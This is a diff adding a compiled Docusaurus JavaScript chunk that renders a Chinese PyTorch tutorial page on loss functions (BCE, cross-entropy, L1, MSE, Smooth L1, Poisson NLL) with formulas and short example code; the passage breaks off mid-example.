b/assets/js/00838bb7.a2eb9303.js new file mode 100644 index 0000000..61da495 --- /dev/null +++ b/assets/js/00838bb7.a2eb9303.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1983],{2383:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>o,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","title":"3.6 \u635f\u5931\u51fd\u6570.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316"},"next":{"title":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30"}}');var t=s(74848),i=s(28453);const o={},l="3.6 \u635f\u5931\u51fd\u6570.md",c={},d=[{value:"3.5.1 \u4e8c\u5206\u7c7b\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",id:"351-\u4e8c\u5206\u7c7b\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.2 \u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",id:"352-\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.3 L1\u635f\u5931\u51fd\u6570",id:"353-l1\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.4 MSE\u635f\u5931\u51fd\u6570",id:"354-mse\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.5 \u5e73\u6ed1L1 (Smooth L1)\u635f\u5931\u51fd\u6570",id:"355-\u5e73\u6ed1l1-smooth-l1\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.6 \u76ee\u6807\u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931",id:"356-\u76ee\u6807\u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931",level:2},{value:"3.5.7 KL\u6563\u5ea6",id:"357-kl\u6563\u5ea6",level:2},{value:"3.5.8 MarginRankingLoss",id:"358-marginrankingloss",level:2},{value:"3.5.9 \u591a\u6807\u7b7e\u8fb9\u754c\u635f\u5931\u51fd\u6570",id:"359-\u591a\u6807\u7b7e\u8fb9\u754c\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.10 \u4e8c\u5206\u7c7b\u635f\u5931\u51fd\u6570",id:"3510-\u4e8c\u5206\u7c7b\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.11 \u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931",id:"3511-\u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931",level:2},{value:"3.5.12 \u4e09\u5143\u7ec4\u635f\u5931",id:"3512-\u4e09\u5143\u7ec4\u635f\u5931",level:2},{value:"3.5.13 HingEmbeddingLoss",id:"3513-hingembeddingloss",level:2},{value:"3.5.14 \u4f59\u5f26\u76f8\u4f3c\u5ea6",id:"3514-\u4f59\u5f26\u76f8\u4f3c\u5ea6",level:2},{value:"3.5.15 CTC\u635f\u5931\u51fd\u6570",id:"3515-ctc\u635f\u5931\u51fd\u6570",level:2}];function a(n){const e={br:"br",code:"code",em:"em",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"36-\u635f\u5931\u51fd\u6570md",children:"3.6 \u635f\u5931\u51fd\u6570.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"36-\u635f\u5931\u51fd\u6570",children:"3.6 \u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u6df1\u5ea6\u5b66\u4e60\u5e7f\u4e3a\u4f7f\u7528\u7684\u4eca\u5929\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u8111\u6d77\u91cc\u6e05\u6670\u7684\u77e5\u9053\uff0c\u4e00\u4e2a\u6a21\u578b\u60f3\u8981\u8fbe\u5230\u5f88\u597d\u7684\u6548\u679c\u9700\u8981",(0,t.jsx)(e.strong,{children:"\u5b66\u4e60"}),"\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u5e38\u8bf4\u7684\u8bad\u7ec3\u3002\u4e00\u4e2a\u597d\u7684\u8bad\u7ec3\u79bb\u4e0d\u5f00\u4f18\u8d28\u7684\u8d1f\u53cd\u9988\uff0c\u8fd9\u91cc\u7684\u635f\u5931\u51fd\u6570\u5c31\u662f\u6a21\u578b\u7684\u8d1f\u53cd\u9988\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:s(7169).A+"",width:"733",height:"252"})}),"\n",(0,t.jsx)(e.p,{children:"\u6240\u4ee5\u5728PyTorch\u4e2d\uff0c\u635f\u5931\u51fd\u6570\u662f\u5fc5\u4e0d\u53ef\u5c11\u7684\u3002\u5b83\u662f\u6570\u636e\u8f93\u5165\u5230\u6a21\u578b\u5f53\u4e2d\uff0c\u4ea7\u751f\u7684\u7ed3\u679c\u4e0e\u771f\u5b9e\u6807\u7b7e\u7684\u8bc4\u4ef7\u6307\u6807\uff0c\u6211\u4eec\u7684\u6a21\u578b\u53ef\u4ee5\u6309\u7167\u635f\u5931\u51fd\u6570\u7684\u76ee\u6807\u6765\u505a\u51fa\u6539\u8fdb\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u4e0b\u9762\u6211\u4eec\u5c06\u5f00\u59cb\u63a2\u7d22PyTorch\u7684\u6240\u62e5\u6709\u7684\u635f\u5931\u51fd\u6570\u3002\u8fd9\u91cc\u5c06\u5217\u51faPyTorch\u4e2d\u5e38\u7528\u7684\u635f\u5931\u51fd\u6570\uff08\u4e00\u822c\u901a\u8fc7torch.nn\u8c03\u7528\uff09\uff0c\u5e76\u8be6\u7ec6\u4ecb\u7ecd\u6bcf\u4e2a\u635f\u5931\u51fd\u6570\u7684\u529f\u80fd\u4ecb\u7ecd\u3001\u6570\u5b66\u516c\u5f0f\u548c\u8c03\u7528\u4ee3\u7801\u3002\u5f53\u7136\uff0cPyTorch\u7684\u635f\u5931\u51fd\u6570\u8fd8\u8fdc\u4e0d\u6b62\u8fd9\u4e9b\uff0c\u5728\u89e3\u51b3\u5b9e\u9645\u95ee\u9898\u7684\u8fc7\u7a0b\u4e2d\u9700\u8981\u8fdb\u4e00\u6b65\u63a2\u7d22\u3001\u501f\u9274\u73b0\u6709\u5de5\u4f5c\uff0c\u6216\u8005\u8bbe\u8ba1\u81ea\u5df1\u7684\u635f\u5931\u51fd\u6570\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u4e2d\u5e38\u89c1\u7684\u635f\u5931\u51fd\u6570\u53ca\u5176\u5b9a\u4e49\u65b9\u5f0f"}),"\n",(0,t.jsx)(e.li,{children:"PyTorch\u4e2d\u635f\u5931\u51fd\u6570\u7684\u8c03\u7528"}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"351-\u4e8c\u5206\u7c7b\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",children:"3.5.1 \u4e8c\u5206\u7c7b\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.BCELoss(weight=None, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd"}),"\uff1a\u8ba1\u7b97\u4e8c\u5206\u7c7b\u4efb\u52a1\u65f6\u7684\u4ea4\u53c9\u71b5\uff08Cross Entropy\uff09\u51fd\u6570\u3002\u5728\u4e8c\u5206\u7c7b\u4e2d\uff0clabel\u662f{0,1}\u3002\u5bf9\u4e8e\u8fdb\u5165\u4ea4\u53c9\u71b5\u51fd\u6570\u7684input\u4e3a\u6982\u7387\u5206\u5e03\u7684\u5f62\u5f0f\u3002\u4e00\u822c\u6765\u8bf4\uff0cinput\u4e3asigmoid\u6fc0\u6d3b\u5c42\u7684\u8f93\u51fa\uff0c\u6216\u8005softmax\u7684\u8f93\u51fa\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570"}),"\uff1a"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"weight"}),":\u6bcf\u4e2a\u7c7b\u522b\u7684loss\u8bbe\u7f6e\u6743\u503c"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"size_average"}),":\u6570\u636e\u4e3abool\uff0c\u4e3aTrue\u65f6\uff0c\u8fd4\u56de\u7684loss\u4e3a\u5e73\u5747\u503c\uff1b\u4e3aFalse\u65f6\uff0c\u8fd4\u56de\u7684\u5404\u6837\u672c\u7684loss\u4e4b\u548c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduce"}),":\u6570\u636e\u7c7b\u578b\u4e3abool\uff0c\u4e3aTrue\u65f6\uff0closs\u7684\u8fd4\u56de\u662f\u6807\u91cf\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a\n$\n\\ell(x, y)=\\left{\\begin{array}{ll}\n\\operatorname{mean}(L), & \\text { if reduction }=\\text { 'mean' } \\\n\\operatorname{sum}(L), & \\text { if reduction }=\\text { 'sum' }\n\\end{array}\\right.\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"m = nn.Sigmoid()\nloss = nn.BCELoss()\ninput = torch.randn(3, requires_grad=True)\ntarget = torch.empty(3).random_(2)\noutput = loss(m(input), target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('BCELoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"BCELoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.5732, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"352-\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",children:"3.5.2 \u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.CrossEntropyLoss(weight=None, size_average=None, ignore_index=-100, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd"}),"\uff1a\u8ba1\u7b97\u4ea4\u53c9\u71b5\u51fd\u6570"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570"}),"\uff1a"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"weight"}),":\u6bcf\u4e2a\u7c7b\u522b\u7684loss\u8bbe\u7f6e\u6743\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"size_average"}),":\u6570\u636e\u4e3abool\uff0c\u4e3aTrue\u65f6\uff0c\u8fd4\u56de\u7684loss\u4e3a\u5e73\u5747\u503c\uff1b\u4e3aFalse\u65f6\uff0c\u8fd4\u56de\u7684\u5404\u6837\u672c\u7684loss\u4e4b\u548c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"ignore_index"}),":\u5ffd\u7565\u67d0\u4e2a\u7c7b\u7684\u635f\u5931\u51fd\u6570\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduce"}),":\u6570\u636e\u7c7b\u578b\u4e3abool\uff0c\u4e3aTrue\u65f6\uff0closs\u7684\u8fd4\u56de\u662f\u6807\u91cf\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a\n$\n\\operatorname{loss}(x, \\text { class })=-\\log \\left(\\frac{\\exp (x[\\text { class }])}{\\sum_{j} \\exp (x[j])}\\right)=-x[\\text { class }]+\\log \\left(\\sum_{j} \\exp (x[j])\\right)\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.CrossEntropyLoss()\ninput = torch.randn(3, 5, requires_grad=True)\ntarget = torch.empty(3, dtype=torch.long).random_(5)\noutput = loss(input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print(output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"tensor(2.0115, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"353-l1\u635f\u5931\u51fd\u6570",children:"3.5.3 L1\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.L1Loss(size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u8f93\u51fa",(0,t.jsx)(e.code,{children:"y"}),"\u548c\u771f\u5b9e\u6807\u7b7e",(0,t.jsx)(e.code,{children:"target"}),"\u4e4b\u95f4\u7684\u5dee\u503c\u7684\u7edd\u5bf9\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u9700\u8981\u77e5\u9053\u7684\u662f\uff0c",(0,t.jsx)(e.code,{children:"reduction"}),"\u53c2\u6570\u51b3\u5b9a\u4e86\u8ba1\u7b97\u6a21\u5f0f\u3002\u6709\u4e09\u79cd\u8ba1\u7b97\u6a21\u5f0f\u53ef\u9009\uff1anone\uff1a\u9010\u4e2a\u5143\u7d20\u8ba1\u7b97\u3002\nsum\uff1a\u6240\u6709\u5143\u7d20\u6c42\u548c\uff0c\u8fd4\u56de\u6807\u91cf\u3002\nmean\uff1a\u52a0\u6743\u5e73\u5747\uff0c\u8fd4\u56de\u6807\u91cf\u3002\n\u5982\u679c\u9009\u62e9",(0,t.jsx)(e.code,{children:"none"}),"\uff0c\u90a3\u4e48\u8fd4\u56de\u7684\u7ed3\u679c\u662f\u548c\u8f93\u5165\u5143\u7d20\u76f8\u540c\u5c3a\u5bf8\u7684\u3002\u9ed8\u8ba4\u8ba1\u7b97\u65b9\u5f0f\u662f\u6c42\u5e73\u5747\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a"}),"\n$\nL_{n} = |x_{n}-y_{n}|\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.L1Loss()\ninput = torch.randn(3, 5, requires_grad=True)\ntarget = torch.randn(3, 5)\noutput = loss(input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('L1\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"L1\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(1.5729, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"354-mse\u635f\u5931\u51fd\u6570",children:"3.5.4 MSE\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.MSELoss(size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u8f93\u51fa",(0,t.jsx)(e.code,{children:"y"}),"\u548c\u771f\u5b9e\u6807\u7b7e",(0,t.jsx)(e.code,{children:"target"}),"\u4e4b\u5dee\u7684\u5e73\u65b9\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u548c",(0,t.jsx)(e.code,{children:"L1Loss"}),"\u4e00\u6837\uff0c",(0,t.jsx)(e.code,{children:"MSELoss"}),"\u635f\u5931\u51fd\u6570\u4e2d\uff0c",(0,t.jsx)(e.code,{children:"reduction"}),"\u53c2\u6570\u51b3\u5b9a\u4e86\u8ba1\u7b97\u6a21\u5f0f\u3002\u6709\u4e09\u79cd\u8ba1\u7b97\u6a21\u5f0f\u53ef\u9009\uff1anone\uff1a\u9010\u4e2a\u5143\u7d20\u8ba1\u7b97\u3002\nsum\uff1a\u6240\u6709\u5143\u7d20\u6c42\u548c\uff0c\u8fd4\u56de\u6807\u91cf\u3002\u9ed8\u8ba4\u8ba1\u7b97\u65b9\u5f0f\u662f\u6c42\u5e73\u5747\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\nl_{n}=\\left(x_{n}-y_{n}\\right)^{2}\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.MSELoss()\ninput = torch.randn(3, 5, requires_grad=True)\ntarget = torch.randn(3, 5)\noutput = loss(input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('MSE\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"MSE\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(1.6968, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"355-\u5e73\u6ed1l1-smooth-l1\u635f\u5931\u51fd\u6570",children:"3.5.5 \u5e73\u6ed1L1 (Smooth L1)\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.SmoothL1Loss(size_average=None, reduce=None, reduction='mean', beta=1.0)\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," L1\u7684\u5e73\u6ed1\u8f93\u51fa\uff0c\u5176\u529f\u80fd\u662f\u51cf\u8f7b\u79bb\u7fa4\u70b9\u5e26\u6765\u7684\u5f71\u54cd"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\u53c2\u6570\u51b3\u5b9a\u4e86\u8ba1\u7b97\u6a21\u5f0f\u3002\u6709\u4e09\u79cd\u8ba1\u7b97\u6a21\u5f0f\u53ef\u9009\uff1anone\uff1a\u9010\u4e2a\u5143\u7d20\u8ba1\u7b97\u3002\nsum\uff1a\u6240\u6709\u5143\u7d20\u6c42\u548c\uff0c\u8fd4\u56de\u6807\u91cf\u3002\u9ed8\u8ba4\u8ba1\u7b97\u65b9\u5f0f\u662f\u6c42\u5e73\u5747\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u63d0\u9192\uff1a"})," \u4e4b\u540e\u7684\u635f\u5931\u51fd\u6570\u4e2d\uff0c\u5173\u4e8e",(0,t.jsx)(e.code,{children:"reduction"})," \u8fd9\u4e2a\u53c2\u6570\u4f9d\u65e7\u4f1a\u5b58\u5728\u3002\u6240\u4ee5\uff0c\u4e4b\u540e\u5c31\u4e0d\u518d\u5355\u72ec\u8bf4\u660e\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\u5982\u4e0b\uff1a"}),"\n$\n\\operatorname{loss}(x, y)=\\frac{1}{n} \\sum_{i=1}^{n} z_{i}\n$\n\u5176\u4e2d\uff0c\n$\nz_{i}=\\left{\\begin{array}{ll}\n0.5\\left(x_{i}-y_{i}\\right)^{2}, & \\text { if }\\left|x_{i}-y_{i}\\right|<1 \\\n\\left|x_{i}-y_{i}\\right|-0.5, & \\text { otherwise }\n\\end{array}\\right.\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.SmoothL1Loss()\ninput = torch.randn(3, 5, requires_grad=True)\ntarget = torch.randn(3, 5)\noutput = loss(input, target)\noutput.backward()\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"print('SmoothL1Loss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"SmoothL1Loss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.7808, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u5e73\u6ed1L1\u4e0eL1\u7684\u5bf9\u6bd4"})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u6211\u4eec\u901a\u8fc7\u53ef\u89c6\u5316\u4e24\u79cd\u635f\u5931\u51fd\u6570\u66f2\u7ebf\u6765\u5bf9\u6bd4\u5e73\u6ed1L1\u548cL1\u4e24\u79cd\u635f\u5931\u51fd\u6570\u7684\u533a\u522b\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"inputs = torch.linspace(-10, 10, steps=5000)\ntarget = torch.zeros_like(inputs)\n\nloss_f_smooth = nn.SmoothL1Loss(reduction='none')\nloss_smooth = loss_f_smooth(inputs, target)\nloss_f_l1 = nn.L1Loss(reduction='none')\nloss_l1 = loss_f_l1(inputs,target)\n\nplt.plot(inputs.numpy(), loss_smooth.numpy(), label='Smooth L1 Loss')\nplt.plot(inputs.numpy(), loss_l1, label='L1 loss')\nplt.xlabel('x_i - y_i')\nplt.ylabel('loss value')\nplt.legend()\nplt.grid()\nplt.show()\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"png",src:s(25613).A+"",width:"382",height:"263"})}),"\n",(0,t.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u51fa\uff0c\u5bf9\u4e8e",(0,t.jsx)(e.code,{children:"smoothL1"}),"\u6765\u8bf4\uff0c\u5728 0 \u8fd9\u4e2a\u5c16\u7aef\u5904\uff0c\u8fc7\u6e21\u66f4\u4e3a\u5e73\u6ed1\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"356-\u76ee\u6807\u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931",children:"3.5.6 \u76ee\u6807\u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.PoissonNLLLoss(log_input=True, full=False, size_average=None, eps=1e-08, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931\u51fd\u6570"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570\uff1a"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"log_input"}),"\uff1a\u8f93\u5165\u662f\u5426\u4e3a\u5bf9\u6570\u5f62\u5f0f\uff0c\u51b3\u5b9a\u8ba1\u7b97\u516c\u5f0f\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"full"}),"\uff1a\u8ba1\u7b97\u6240\u6709 loss\uff0c\u9ed8\u8ba4\u4e3a False\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"eps"}),"\uff1a\u4fee\u6b63\u9879\uff0c\u907f\u514d input \u4e3a 0 \u65f6\uff0clog(input) \u4e3a nan \u7684\u60c5\u51b5\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u6570\u5b66\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u5f53\u53c2\u6570",(0,t.jsx)(e.code,{children:"log_input=True"}),"\uff1a\n$\n\\operatorname{loss}\\left(x_{n}, y_{n}\\right)=e^{x_{n}}-x_{n} \\cdot y_{n}\n$"]}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u5f53\u53c2\u6570",(0,t.jsx)(e.code,{children:"log_input=False"}),"\uff1a"]}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}\\left(x_{n}, y_{n}\\right)=x_{n}-y_{n} \\cdot \\log \\left(x_{n}+\\text { eps }\\right)\n$"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss = nn.PoissonNLLLoss()\nlog_input = torch.randn(5, 2, requires_grad=True)\ntarget = torch.randn(5, 2)\noutput = loss(log_input, 